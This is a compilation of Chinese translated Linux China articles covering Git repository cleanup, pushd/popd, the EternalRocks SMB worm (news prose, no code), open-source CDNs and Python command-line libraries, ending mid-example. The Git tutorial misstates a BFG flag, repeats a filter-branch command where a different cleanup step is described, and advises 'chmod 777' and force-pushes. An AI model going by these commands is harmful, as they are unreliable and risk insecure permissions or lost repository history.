* 重新整理仓库，使用 [git gc](http://git-scm.com/docs/git-gc) 对现在没有使用的数据进行垃圾回收。
Git 的 “gc”（垃圾回收）将通过你的任何一个分支或者标签来删除仓库中所有的实际没用的或者以某种方式引用的数据。为了使其发挥作用，我们需要重写包含不需要的文件的所有 Git 仓库历史记录，仓库将不再引用它—— git gc 将会丢弃所有没用的数据。
重写存储库历史是一个棘手的事情，因为每个提交都依赖它的父提交，所以任何一个很小的改变都会改变它的每一个随后的提交的提交 ID。有两个自动化的工具可以做到这：
1. [BFG Repo Cleaner](http://rtyley.github.io/bfg-repo-cleaner/) 快速、简单且易于使用，需要 Java 6 或者更高版本的运行环境。
2. [git filter-branch](http://git-scm.com/docs/git-filter-branch) 功能强大、配置麻烦，用于大于仓库时速度较慢，是核心 Git 套件的一部分。
切记，当你重写历史记录后，无论你是使用 BFG 还是使用 filter-branch，你都需要删除指向旧的历史记录的 `reflog` 条目，最后运行垃圾回收器来删除旧的数据。
### 使用 BFG 重写历史记录
[BFG](http://rtyley.github.io/bfg-repo-cleaner/) 是为将像大文件或者密码这些不想要的数据从 Git 仓库中删除而专门设计的，所以它有一一个简单的标志用来删除那些大的历史文件（不在当前的提交里面）：`--strip-blobs-bigger-than`
```
$ java -jar bfg.jar --strip-blobs-than 100M
```
大小超过 100MB 的任何文件（不包含在你*最近的*提交中的文件——因为 BFG [默认会保护你的最新提交的内容](http://rtyley.github.io/bfg-repo-cleaner/#protected-commits)）将会从你的 Git 仓库的历史记录中删除。如果你想用名字来指明具体的文件，你也可以这样做：
```
$ java -jar bfg.jar --delete-files *.mp4
```
BFG 的速度要比 `git filter-branch` 快 [10-1000 倍](https://www.youtube.com/watch?v=Ir4IHzPhJuI)，而且通常更容易使用——查看完整的[使用说明](http://rtyley.github.io/bfg-repo-cleaner/#usage)和[示例](http://rtyley.github.io/bfg-repo-cleaner/#examples)获取更多细节。
### 或者，使用 git filter-branch 来重写历史记录
`filter-branch` 命令可以对 Git 仓库的历史记录重写，就像 BFG 一样，但是过程更慢和更手动化。如果你不知道这些大文件在*哪里*，那么你第一步就需要找到它们：
#### 手动查看你 Git 仓库中的大文件
[Antony Stubbs](https://stubbisms.wordpress.com/2009/07/10/git-script-to-show-largest-pack-objects-and-trim-your-waist-line/) 写了一个可以很好地完成这个功能的 BASH 脚本。该脚本可以检查你的包文件的内容并列出大文件。在你开始删除文件之前，请执行以下操作获取并安装此脚本：
1、 [下载脚本](https://confluence.atlassian.com/bitbucket/files/321848291/321979854/1/1360604134990/git_find_big.sh)到你的本地的系统。
2、 将它放在一个可以访问你的 Git 仓库的易于找到的位置。
3、 让脚本成为可执行文件：
```
$ chmod 777 git_find_big.sh
```
4、 克隆仓库到你本地系统。
5、 改变当前目录到你的仓库根目录。
6、 手动运行 Git 垃圾回收器：
```
git gc --auto
```
7、 找出 .git 文件夹的大小
```
$ du -hs .git/objects
45M .git/objects
```
注意文件大小，以便随后参考。
8、 运行 `git_find_big.sh` 脚本来列出你的仓库中的大文件。
```
$ git_find_big.sh
All sizes are in kB's. The pack column is the size of the object, compressed, inside the pack file.
size pack SHA location
592 580 e3117f48bc305dd1f5ae0df3419a0ce2d9617336 media/img/emojis.jar
550 169 b594a7f59ba7ba9daebb20447a87ea4357874f43 media/js/aui/aui-dependencies.jar
518 514 22f7f9a84905aaec019dae9ea1279a9450277130 media/images/screenshots/issue-tracker-wiki.jar
337 92 1fd8ac97c9fecf74ba6246eacef8288e89b4bff5 media/js/lib/bundle.js
240 239 e0c26d9959bd583e5ef32b6206fc8abe5fea8624 media/img/featuretour/heroshot.png
```
大文件都是 JAR 文件，包的大小列是最相关的。`aui-dependencies.jar` 被压缩到 169kb，但是 `emojis.jar` 只压缩到 500kb。`emojis.jar` 就是一个待删除的对象。
#### 运行 filter-branch
你可以给这个命令传递一个用于重写 Git 索引的过滤器。例如，一个过滤器可以可以将每个检索的提交删除。这个用法如下：
```
git filter-branch --index-filter 'git rm --cached --ignore-unmatch _pathname_ ' commitHASH
```
`--index-filter` 选项可以修改仓库的索引，`--cached` 选项从索引中而不是磁盘来删除文件。这样会更快，因为你不需要在运行这个过滤器前检查每个修订版本。`git rm` 中的 `ignore-unmatch` 选项可以防止在尝试移走不存在的文件 `pathname` 的时候命令失败。通过指定一个提交 HASH 值，你可以从每个以这个 HASH 值开始的提交中删除`pathname`。要从开始处删除，你可以省略这个参数或者指定为 `HEAD`。
如果你的大文件在不同的分支，你将需要通过名字来删除每个文件。如果大文件都在一个单独的分支，你可以直接删除这个分支本身。
#### 选项 1：通过文件名删除文件
使用下面的步骤来删除大文件：
1、 使用下面的命令来删除你找到的第一个大文件：
```
git filter-branch --index-filter 'git rm --cached --ignore-unmatch filename' HEAD
```
2、 重复步骤 1 找到剩下的每个大文件。
3、 在你的仓库里更新引用。 `filter-branch` 会为你原先的引用创建一个 `refs/original/` 下的备份。一旦你确信已经删除了正确的文件，你可以运行下面的命令来删除备份文件，同时可以让垃圾回收器回收大的对象：
```
git filter-branch --index-filter 'git rm --cached --ignore-unmatch filename' HEAD
```
#### 选项 2：直接删除分支
如果你所有的大文件都在一个单独的分支上，你可以直接删除这个分支。删除这个分支会自动删除所有的引用。
1、 删除分支。
```
$ git branch -D PROJ567bugfix
```
2、 从后面的分支中删除所有的 reflog 引用。
### 对不用的数据垃圾回收
1、 删除从现在到后面的所有 reflog 引用（除非你明确地只在一个分支上操作）。
```
$ git reflog expire --expire=now --all
```
2、 通过运行垃圾回收器和删除旧的对象重新打包仓库。
```
$ git gc --prune=now
```
3、 把你所有的修改推送回仓库。
```
$ git push --all --force
```
4、 确保你所有的标签也是当前最新的:
```
$ git push --tags --force
```
---
via: <https://confluence.atlassian.com/bitbucket/maintaining-a-git-repository-321848291.html>
作者：[atlassian.com](https://confluence.atlassian.com/bitbucket/maintaining-a-git-repository-321848291.html) 译者：[zhousiyu325](https://github.com/zhousiyu325) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
在 Linux 中使用 pushd 和 popd 命令来进行高效的目录导航
|
Aaron Kili
|
https://www.tecmint.com/pushd-and-popd-linux-filesystem-navigation/
|
在这个教程中，我们将讨论两个相关的命令：pushd 和 popd ，使用它们可以高效的浏览 Linux 目录结构。这两个命令在大多数 shell ，比如 bash、tcsh 中都存在。
|
/data/attachment/album/201705/31/151602jb78orciyvphihvf.jpg.thumb.jpg
|
/data/attachment/album/201705/31/151602jb78orciyvphihvf.jpg
| true | false | true |
ucasFL
| false |
[
"pushd",
"popd",
"导航"
] |
技术
|
{
"viewnum": 19610,
"commentnum": 3,
"favtimes": 2,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "116.231.87.12",
"message": "这两个内置功能是不错，但一旦压进去的目录多了，算个数也要些时间。",
"username": "ZengYi [Firefox 53.0|Ubuntu]",
"date": "2017-06-01T10:56:29"
},
{
"postip": "112.20.80.227",
"message": "相信我，最笨的方法都是最简单有效的方法。",
"username": "来自江苏南京的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-06-01T15:35:48"
},
{
"postip": "119.130.70.98",
"message": "我觉得ctrl + r 这个shell快捷键更便捷",
"username": "来自广东广州的 Chrome 68.0|Windows 10 用户",
"date": "2018-12-11T15:43:10"
}
] |
[] |
在这个教程中，我们将讨论两个相关的命令：pushd 和 popd ，使用它们可以高效的浏览 Linux 目录结构。这两个命令在大多数 shell ，比如 bash、tcsh 中都存在。
| 2017-05-31T15:16:00 | 2017-05-31T15:16:00 | 8,558 |
/article-8558-1.html
|
有时候，通过命令来在 Linux 文件系统导航是一件非常痛苦的事情，特别是对于一些新手。通常情况下，我们主要使用 [cd（改变目录）命令](https://www.tecmint.com/cd-command-in-linux/)在 Linux 文件系统之间移动。
在之前的文章中，我们回顾了一个非常简单但很有用的 Linux 上的 CLI 工具，文章叫做 [bd：快速返回某级父目录而不用冗余地输入 “cd ../../..”](/article-8491-1.html)
在这个教程中，我们将讨论两个相关的命令：`pushd` 和 `popd` ，使用它们可以高效的浏览 Linux 目录结构。这两个命令在大多数 shell ，比如 bash、tcsh 中都存在。
**推荐阅读：**[Autojump：快速浏览 Linux 文件系统的一个高级 `cd` 命令](/article-5983-1.html)
### pushd 和 popd 命令在 Linux 系统中如何工作
`pushd` 和 `popd` 命令根据 ‘LIFO’（后进先出）原则工作。在这个原则之下，只有两个操作是允许的：把一个目录压入栈，以及把一个目录弹出栈。
`pushd` 命令会增加一个目录到栈顶，而 `popd` 命令会从栈顶移除一个目录。
为了显示目录栈中（或历史）的目录，我们可以使用下面展示的 `dirs` 命令：
```
$ dirs
或
$ dirs -v
```
*`dirs` - 显示位于目录栈中的目录*
`pushd` 命令：将一个目录路径添加到／放入目录栈（历史）中，之后，你可以浏览位于目录栈（历史）中的任意目录。当把一个新的目录入栈时，会打印出当前位于栈中的所有目录。
下面这些命令会展示这个命令是如何工作的：
```
$ pushd /var/www/html/
$ pushd ~/Documents/
$ pushd ~/Desktop/
$ pushd /var/log/
```
*`pushd` - 添加新目录入栈*
根据上面输出的目录栈可知（目录索引按倒序排列）：
* `/var/log` 是目录栈中的第五个目录，索引为 0
* `~/Desktop/` 是第四个，索引为 1
* `~/Document/` 是第三个，索引为 2
* `/var/www/html` 是第二个，索引为 3
* `~` 是第一个，索引为 4
另外，我们也可以使用目录索引的形式 `pushd +#` 或 `pushd -#` 来添加目录入栈。为了进入目录 `~/Documents` ，我们可以输入：
```
$ pushd +2
```
*`pushd` －通过数字浏览目录*
注意，经过上一步操作以后，栈的内容便发生了改变。所以，要从上面的例子中进入目录 `/var/www/html` ，我们应该使用下面的命令：
```
$ pushd +1
```
*`pushd` －通过数字浏览目录*
`popd` 命令－从栈顶或历史中移除一个目录。为了列出目录栈中的所有目录，只需输入：
```
$ popd
```
为了从目录栈中移除一个目录，我们可以使用 `popd +#` 或 `popd -#` 命令，在这时，我们需要输入下面的命令来移除目录 `~/Documents` ：
```
$ popd +1
```
*`popd`－从栈中以移除目录*
在这篇文章中，我们阐述了 `pushd` 和 `popd` 命令，使用它们可以高效的访问目录结构。你可以通过下面的反馈表和我们分享你关于这篇文章的想法。
---
作者简介：
Aaron Kili 是 Linux 和 F.O.S.S 爱好者，将来的 Linux 系统管理员和网络开发人员，目前是 TecMint 的内容创作者，他喜欢用电脑工作，并坚信分享知识。
---
via: <https://www.tecmint.com/pushd-and-popd-linux-filesystem-navigation/>
作者：[Aaron Kili](https://www.tecmint.com/author/aaronkili/) 译者：[ucasFL](https://github.com/ucasFL) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
新的“永恒之石”病毒利用了七个 NSA 黑客工具，“想哭”病毒才两个
|
Catalin Cimpanu
|
https://www.bleepingcomputer.com/news/security/new-smb-worm-uses-seven-nsa-hacking-tools-wannacry-used-just-two/
|
研究人员们发现有一个新的蠕虫病毒正在通过 SMB 文件共享漏洞传播，但是不同于“想哭”WannaCry勒索病毒的构成，这个病毒利用了 7 个 NSA 黑客工具，而不是“想哭”WannaCry勒索病毒的两个。
|
/data/attachment/album/201705/31/161537kn54yefzfp0ens4x.png.thumb.jpg
|
/data/attachment/album/201705/31/161537kn54yefzfp0ens4x.png
| true | false | true |
hwlog
| false |
[
"NSA",
"病毒",
"勒索"
] |
新闻
|
{
"viewnum": 7063,
"commentnum": 2,
"favtimes": 1,
"sharetimes": 7,
"likes": 0
}
|
[
{
"postip": "112.20.80.227",
"message": "记得备份，重装系统。",
"username": "来自江苏南京的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-06-01T15:34:27"
},
{
"postip": "112.87.92.196",
"message": "有没有人知道fireball是怎么回事？真·病毒推广？",
"username": "来自江苏淮安的 Firefox 53.0|Fedora 用户",
"date": "2017-06-06T09:53:29"
}
] |
[
{
"raid": 8511,
"displayorder": 0
}
] |
研究人员们发现有一个新的蠕虫病毒正在通过 SMB 文件共享漏洞传播，但是不同于“想哭”WannaCry勒索病毒的构成，这个病毒利用了 7 个 NSA 黑客工具，而不是“想哭”WannaCry勒索病毒的两个。
| 2017-05-31T16:15:00 | 2017-05-31T16:15:00 | 8,559 |
/article-8559-1.html
|
研究人员们发现有一个新的蠕虫病毒正在通过 SMB 文件共享漏洞传播，但是不同于<ruby> “想哭” <rp> （ </rp> <rt> WannaCry </rt> <rp> ） </rp></ruby>勒索病毒的构成，这个病毒利用了 7 个 NSA 黑客工具，而不是<ruby> “想哭” <rp> （ </rp> <rt> WannaCry </rt> <rp> ） </rp></ruby>勒索病毒的两个。
这个蠕虫病毒的存在首次发现是在周三，它感染了 [Miroslav Stampar](https://about.me/stamparm) 的 SMB 文件共享的蜜罐，Miroslav Stampar 是克罗地亚政府计算机应急响应小组成员，也是用来探测和利用 SQL 注入漏洞的 SQLMAP 工具的制造者。
### 永恒之石利用了七个 NSA 的工具
Stampar 命名这个在样本中被发现的病毒为<ruby> “永恒之石” <rp> （ </rp> <rt> EternalRocks </rt> <rp> ） </rp></ruby>，其基于蠕虫病毒可执行的特性，它通过 6 个以 SMB 文件共享漏洞为中心的 NSA 工具来感染暴露在外网的一台开启 SMB 端口的计算机。这些被叫做 **永恒之蓝**、**永恒战士**、**永恒浪漫** 和 **永恒协同**的 SMB 漏洞被利用危害易受攻击的计算机，而 **SMBTOUCH** 和 **ARCHITOUCH** 这两个 NSA 工具起到了检测 SMB 文件共享漏洞的作用。
一旦这个蠕虫病毒获得了最初的立足点，那么它会用另一个叫做 **DOUBLEPULSAR** 的 NSA 工具扩散到新的易受攻击的机器上。
*“永恒之石”名字的起源*
[“想哭”勒索病毒爆发](https://www.bleepingcomputer.com/news/security/wana-decrypt0r-ransomware-using-nsa-exploit-leaked-by-shadow-brokers-is-on-a-rampage/)，用了一个 SMB 蠕虫病毒感染计算机并扩散给新的受害人，这影响了超过 24 万受害者。
不同于“永恒之石”，“想哭”的 SMB 蠕虫病毒只利用了永恒之蓝这一个漏洞做初步感染，然后通过 DOUBLEPULSAR 来扩散到其他的计算机上。
### “永恒之石”更加复杂，但危险性较低
作为蠕虫病毒，“永恒之石”没有“想哭”那么危险，这是由于它当前不传递任何恶意的内容，然而，这并不意味着“永恒之石”不复杂，据 Stampar 说，实际恰恰相反。
首先，“永恒之石”要比“想哭”的 SMB 蠕虫病毒更加隐蔽，一旦病毒感染了一台计算机，它会发起有两个阶段的安装过程，其中另一个是延迟执行的。
在病毒的第一个安装过程阶段，永恒之石获取一个感染计算机主机的立足点，下载 tor 客户端，然后连接到它的命令控制服务器，其定位在暗网的一个 .onion 的域名上。
在一个预定的时间内，一般是 24 个小时，命令控制器会响应，这个长延迟执行进程的做法最有可能绕过沙盒安全测试环境和安全研究人员们对病毒的分析，因为没多少人愿意一整天来等命令控制器响应。
### 没有停止开关的域名
此外，“永恒之石”病毒也会用和一个与“想哭” SMB 的蠕虫病毒文件相同名字的一个文件，以此愚弄安全研究人员来误判它。
但是不同于“想哭”病毒，永恒之石不包括停止开关的域名，但这是安全研究人员唯一用来停止“想哭”病毒爆发的方法。
在病毒隐匿期满且命令控制器有了响应，永恒之石开始进入安装过程的第二阶段，它会下载一个名为 shadowbrokers.zip 的归档形式的第二阶段恶意组件。
这个文件能够自解压，它包含着 shadow Brokers 黑客组织在 2017 年 4 月泄漏的七个 NSA 的 SMB 漏洞工具。 这个蠕虫病毒会开始一个快速的 ip 扫描过程并且尝试连接随机的 ip 地址。
*在 shadowbrokers.zip 压缩包里发现了 NSA 工具的配置文件。*
### “永恒之石”可以马上成为武器
由于该病毒集成的漏洞较多且广泛，缺少停止开关的域名，而且有它的隐匿期，如果病毒的作者决定用它来作为勒索、银行木马、远程控制或者其他功能的武器，“永恒之石”可能会对 SMB 端口暴露在互联网的易受攻击的计算机造成严重的威胁。
就目前来看，蠕虫病毒看起来像是一个试验，或者是恶意软件作者在进行测试或者为未来的威胁而做的微调。
然而，这并不意味着“永恒之石”是无害的，感染了这个病毒的计算机是通过命令控制服务器来控制，并且蠕虫病毒的制造者能够利用这个隐藏通讯连接，发送新的恶意软件到这台感染了病毒的电脑上。
此外，DOUBLEPULSAR，这是一个带有后门的植入仍然运行在感染了永恒之石的 PC 上，不幸的是，该病毒的作者没有采取任何措施来保护这个 DOUBLEPULSAR 的植入，这意味这缺省其运行在未被保护的状态下，其他的恶意的用户能使用它作为把感染了永恒之石的计算机的后门，发送他们自己的恶意软件到这些感染病毒的 PC 上。
关于这个病毒的感染过程的 IOC 和更多信息能够在 Stampar 在几天前设置的 [GitHub] 仓库上获得。
### SMB 漏洞的混战
当前，有许多人在扫描旧的和未打补丁的 SMB 服务，系统管理员已经注意到并且开始给易受攻击的计算机打补丁，关闭旧版的 SMBv1 协议，慢慢的来减少被永恒之石感染的计算机数量。
此外，像 Adylkuzz 这类恶意软件，也会关闭 SMB 端口，来阻止来自其它威胁软件的进一步利用，这同时也导致了“永恒之石”和其它利用 SMB 漏洞的恶意软件潜在目标数量的减少，来自 [Forcepoint](https://blogs.forcepoint.com/security-labs/wannacry-multiple-malware-families-using-eternalblue-exploit)、[Cyphort](https://www.cyphort.com/eternalblue-exploit-actively-used-deliver-remote-access-trojans/) 和 [Secdo](http://blog.secdo.com/multiple-groups-exploiting-eternalblue-weeks-before-wannacry) 的报告详细介绍了当前针对 SMB 端口的计算机的威胁情况。
虽然如此，系统管理员补丁打的越快，系统越安全，“蠕虫病毒感染速度正在和系统管理员给机器打补丁速度比赛”，Stampar 在一次私人谈话中告诉 BleepingComputer 记者，“一旦计算机被感染，它能在任何时间将其作为武器，不论你打多时间多近的补丁。”
（题图：Miroslav Stampar, BleepingComputer & [Ana María Lora Macias](https://thenounproject.com/search/?q=worm&i=24323)）
---
作者简介：
Catalin 涉及了各方面，像数据泄漏、软件漏洞、漏洞利用、黑客新闻、暗网、编程话题、社交媒体、Web技术、产品研发等领域。
---
via: <https://www.bleepingcomputer.com/news/security/new-smb-worm-uses-seven-nsa-hacking-tools-wannacry-used-just-two/>
作者：[CATALIN CIMPANU](https://www.bleepingcomputer.com/author/catalin-cimpanu/) 译者：[hwlog](https://github.com/hwlog) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
4 个用于托管开源库的顶级 CDN 服务
|
Cody Arsenault
|
https://opensource.com/article/17/4/top-cdn-services
|
通常这些类型的 CDN 能让你链接到流行的 Web 库（例如 CSS/JS 框架），可以让你从免费的 CDN 服务器上传输给你的访问者。
|
/data/attachment/album/201706/01/000849ptbbnvu9hkpbtpt1.jpg.thumb.jpg
|
/data/attachment/album/201706/01/000849ptbbnvu9hkpbtpt1.jpg
| true | false | true |
geekpi
| false |
[
"CDN"
] |
分享
|
{
"viewnum": 7129,
"commentnum": 0,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
通常这些类型的 CDN 能让你链接到流行的 Web 库（例如 CSS/JS 框架），可以让你从免费的 CDN 服务器上传输给你的访问者。
| 2017-06-01T08:07:00 | 2017-06-01T08:07:00 | 8,560 |
/article-8560-1.html
|
>
> 内容分发网络可以加速你的网站图片、CSS、JS、以及其他静态内容。
>
>
>
CDN 或称内容分发网络是位于世界各地的策略性放置的服务器网络，用于更快地向用户传输文件。传统 CDN 能够加速你的网站的图像、CSS、JS 和任何其他静态内容的访问。它允许网站所有者加速自己的所有内容，并为他们提供额外的功能和配置选项，而这些高级服务通常需要根据项目使用的带宽量进行支付。
但是，如果你的项目无法证明值得实施传统 CDN ，那么使用开源 CDN 可能更合适。通常这些类型的 CDN 能让你链接到流行的 Web 库（例如 CSS/JS 框架），可以让你从免费的 CDN 服务器上传输给你的访问者。虽然开源库的 CDN 服务不允许你将自己的内容上传到服务器，但它们可以帮助你加速全局库并提高网站的冗余性。
CDN 在庞大的服务器网络上托管项目，因此网站维护者需要修改网站 HTML 代码中的资源链接来反映开源 CDN 的URL，后面跟上资源路径。根据你是否链接到 JavaScript 或 CSS 库，链接将包含在 `<script>` 或 `<link>` 标签中。
我们来探讨开源库的四大流行 CDN 服务。
### JsDelivr
[JsDelivr](http://www.jsdelivr.com/) 是一个使用高级 CDN 提供商（KeyCDN、Stackpath、Cloudflare）的开源 CDN 提供者来分发开源项目资源。jsDelivr 的一些亮点包括：
* 支持 2100 多个库
* 110 个接入点
* CDN 可在亚洲和中国使用
* 支持 API
* 没有流量限制
* 完整的 HTTPS 支持
所有片段都以自定义 jsDelivr URL <https://cdn.jsdelivr.net/> 开始，然后是项目名称、版本号等。你还可以配置 jsDelivr 生成带脚本标签的 URL 并启用 SRI（子资源完整性）以增加安全性。
### Cdnjs
[Cdnjs](https://cdnjs.com/) 是另一个流行的开源 CDN 提供者，类似于 jsDelivr。此服务还提供了一系列流行的 JavaScript 和 CSS 库，你可以在 Web 项目中进行链接。 该服务由 CDN 提供商 Cloudflare 和 [KeyCDN](https://www.keycdn.com/) 赞助。cdnjs 的一些亮点包括：
* 支持 2900 多个库
* 超过一百万个网站使用
* 支持 HTTP/2
* 支持 HTTPS
与 jsDelivr 类似，使用 cdnjs，你也可以选择使用或者不使用脚本标签和 SRI 来复制资源 URL。
### Google 托管库
[Google 托管库](https://developers.google.com/speed/libraries/)网站允许你链接到托管在 Google 强大的开源 CDN 网络上的流行 JavaScript 库。这个开源的 CDN 解决方案不提供像 jsDelivr 或 cdnjs 一样多的库或者功能。然而，当连接到 Google 托管库时，你可以期待高度的可靠性和信任。Google 开源 CDN 的几个亮点包括：
* HTTPS 支持
* 文件提供 CORS 和 Timing-Allow 头
* 提供每个库的最新版本
所有 Google 的托管库文件都以URL <https://ajax.googleapis.com/> 开头，后跟项目的名称、版本号和文件名。
### Microsoft Ajax CDN
[Microsoft Ajax CDN](https://www.asp.net/ajax/cdn)与 Google 托管库非常类似，因为它只托管流行的库。但是，将 Microsoft Ajax CDN 与 Google 托管库区分开的两个主要区别是 Microsoft 提供了 CSS 和 JS 库，并且还提供了各种库的各种版本。Microsoft Ajax CDN 的几个亮点包括：
* HTTPS 支持
* 每个库的以前版本通常都可用
所有的 Microsoft Ajax 文件都以 URL <http://ajax.aspnetcdn.com/ajax/> 开头，并且和其它文件一样，后面是库的名字，版本号等。
如果你的项目或网站尚未准备好利用优质的 CDN 服务，但你仍然希望加速网站的重要方面，那么使用开源 CDN 是一个很好的解决方案。它能够加速第三方库的传输，否则它们将从原始服务器发送，从而导致远方用户不必要的加载以及更慢的速度。
*你喜欢使用哪个开源 CDN 提供商？为什么？*
（图片版权：[Open Clip Art Library](https://en.wikipedia.org/wiki/Open_Clip_Art_Library)，它明确将其公开于**[公共领域](https://en.wikipedia.org/wiki/public_domain)**（[见此处](https://openclipart.org/share)）。由 Jen Wike Huger 修改。）
---
作者简介：
Cody Arsenault - Cody 热衷于网络性能，SEO 以及创业活动。他是 KeyCDN 的网络性能倡导者，致力于使网络更快。
---
via: <https://opensource.com/article/17/4/top-cdn-services>
作者：[Cody Arsenault](https://opensource.com/users/codya) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
4 个用于构建优秀的命令行用户界面的 Python 库
|
Amjith Ramanujam
|
https://opensource.com/article/17/5/4-practical-python-libraries
|
在第一篇文章中，我们讨论了一些能够使命令行应用用起来令人感到愉悦的特性。在第二篇文章中，我们来看看如何用 Python 的一些库来实现这些特性。
|
/data/attachment/album/201706/01/084427aqpl3c0tyhuip20l.png.thumb.jpg
|
/data/attachment/album/201706/01/084427aqpl3c0tyhuip20l.png
| true | false | true |
ucasFL
| true |
[
"命令行"
] |
技术
|
{
"viewnum": 9038,
"commentnum": 0,
"favtimes": 1,
"sharetimes": 0,
"likes": 0
}
|
[] |
[
{
"raid": 8526,
"displayorder": 0
},
{
"raid": 8575,
"displayorder": 0
}
] |
在第一篇文章中，我们讨论了一些能够使命令行应用用起来令人感到愉悦的特性。在第二篇文章中，我们来看看如何用 Python 的一些库来实现这些特性。
| 2017-06-01T08:44:24 | 2017-06-01T08:44:24 | 8,561 |
/article-8561-1.html
|
>
> 在这个分为两篇的关于[具有绝佳命令行界面的终端程序](/article-8526-1.html)的系列文章的第二篇教程中，我们将讨论 Prompt、Toolkit、Click、Pygments 和 Fuzzy Finder 。
>
>
>
这是我的一个分为两篇的关于[具有绝佳命令行界面的终端程序](https://opensource.com/tags/python?src=programming_resource_menu)的系列文章的第二篇教程。在[第一篇文章](/article-8526-1.html)中，我们讨论了一些能够使命令行应用用起来令人感到愉悦的特性。在第二篇文章中，我们来看看如何用 Python 的一些库来实现这些特性。
我打算用少于 20 行 Python 代码来实现。让我们开始吧。
### Python Prompt Toolkit
我习惯于把这个库称为命令行应用的瑞士军刀，它可以作为 [readline](https://docs.python.org/2/library/readline.html) 、[curses](https://docs.python.org/2/library/curses.html) 等的替代品。让我们首先安装这个库，然后开始该教程：
```
pip install prompt_toolkit
```
我们以一个简单的 REPL （LCTT 译注：REPL —— Read-Eval-Print Loop，交互式开发环境）开始。一个典型的 REPL 会接收用户的输入，进行一个操作，然后输出结果。比如在我们的例子中，我们将要实现一个具有 “回显” 功能的 REPL 。它仅仅是原样打印出用户的输入：
#### REPL
```
from prompt_toolkit import prompt
while 1:
user_input = prompt('>')
print(user_input)
```
这就是实现 REPL 的全部代码。它可以读取用户的输入，然后打印出用户的输入内容。在这段代码中使用的 `prompt` 函数来自 `prompt_toolkit` 库，它是 `readline` 库的一个替代品。
#### 命令历史
为了增强我们的 REPL 的功能，我们可以添加命令历史：
```
from prompt_toolkit import prompt
from prompt_toolkit.history import FileHistory
while 1:
user_input = prompt('>',
history=FileHistory('history.txt'),
)
print(user_input)
```
我们刚刚给 REPL 添加了持久的**命令历史**。现在，我们可以使用上/下箭头来浏览**命令历史**，并使用 `Ctrl-R` 来搜索**命令历史**。它满足了命令行的基本准则。
#### 自动推荐
在第一篇教程中，我讲到的一个可发现性技巧是自动推荐**历史命令**。（我是首先在 **fish shell** 中看到的这一特性）让我们把这一特性加入到我们的 REPL 中：
```
from prompt_toolkit import prompt
from prompt_toolkit.history import FileHistory
from prompt_toolkit.auto_suggest import AutoSuggestFromHistory
while 1:
user_input = prompt('>',
history=FileHistory('history.txt'),
auto_suggest=AutoSuggestFromHistory(),
)
print(user_input)
```
我们只需要给 `prompt()` API 调用添加一个新的参数。现在，我们有了一个具有 **fish shell** 风格的 REPL，它可以自动推荐**历史命令**。
#### 自动补全
现在，让我们通过**自动补全**来加强 Tab 补全。它能够在用户开始输入的时候弹出可能的命令推荐。
REPL 如何来进行推荐呢？我们使用一个字典来进行可能项的推荐。
比如说我们实现一个针对 SQL 的 REPL 。我们可以把 SQL 关键字存到自动补全字典里面。让我们看一看这是如何实现的：
```
from prompt_toolkit import prompt
from prompt_toolkit.history import FileHistory
from prompt_toolkit.auto_suggest import AutoSuggestFromHistory
from prompt_toolkit.contrib.completers import WordCompleter
SQLCompleter = WordCompleter(['select', 'from', 'insert', 'update', 'delete', 'drop'],
ignore_case=True)
while 1:
user_input = prompt('SQL>',
history=FileHistory('history.txt'),
auto_suggest=AutoSuggestFromHistory(),
completer=SQLCompleter,
)
print(user_input)
```
再次说明，我们只是简单的使用了 `prompt-toolkit` 内建的一个叫做 `WordCompleter` 的补全特性，它能够把用户输入和可能推荐的字典进行匹配，然后提供一个列表。
现在，我们有了一个能够自动补全、fish shell 风格的历史命令推荐以及上/下浏览历史的 REPL 。实现这些特性只用了不到 10 行的实际代码。
### Click
`Click` 是一个命令行创建工具包，使用它能够更容易的为程序解析命令行选项的参数和常量。在这儿我们不讨论如何使用 `Click` 来作为参数解析器。相反，我们将会看看 `Click` 带有的一些功能。
安装 `Click`：
```
pip install click
```
#### 分页器
分页器是 Unix 系统上的实用工具，它们能够一次一页地显示很长的输出。分页器的一些例子包括 `less`、`more`、`most` 等。通过分页器来显示一个命令的输出不仅仅是一个友好的设计，同时也是必要的。
让我们进一步改进前面的例子。我们不再使用默认的 `print()` 语句，取而代之的是 `click.echo_via_pager()` 。它将会把输出通过分页器发送到标准输出。这是平台无关的，因此在 Unix 系统或 Windows 系统上均能工作。如果必要的话，`click_via_pager` 会尝试使用一个合适的默认分页器来输出，从而能够显示代码高亮。
```
from prompt_toolkit import prompt
from prompt_toolkit.history import FileHistory
from prompt_toolkit.auto_suggest import AutoSuggestFromHistory
from prompt_toolkit.contrib.completers import WordCompleter
import click
SQLCompleter = WordCompleter(['select', 'from', 'insert', 'update', 'delete', 'drop'],
ignore_case=True)
while 1:
user_input = prompt(u'SQL>',
history=FileHistory('history.txt'),
auto_suggest=AutoSuggestFromHistory(),
completer=SQLCompleter,
)
click.echo_via_pager(user_input)
```
#### 编辑器
在我前面的文章中一个值得一提的细节是，当命令过于复杂的时候进入编辑器来编辑。`Click` 有一个[简单的 API](http://click.pocoo.org/5/utils/#launching-editors) 能够打开编辑器，然后把在编辑器中输入的文本返回给应用。
```
import click
message = click.edit()
```
### Fuzzy Finder
`Fuzzy Finder` 是一种通过少量输入来为用户减少推荐的方法。幸运的是，有一个库可以实现 `Fuzzy Finder` 。让我们首先安装这个库：
```
pip install fuzzyfinder
```
`Fuzzy Finder` 的 API 很简单。用户向它传递部分字符串和一系列可能的选择，然后，`Fuzzy Finder` 将会返回一个与部分字符串匹配的列表，这一列表是通过模糊算法根据相关性排序得出的。比如：
```
>>> from fuzzyfinder import fuzzyfinder
>>> suggestions = fuzzyfinder('abc', ['abcd', 'defabca', 'aagbec', 'xyz', 'qux'])
>>> list(suggestions)
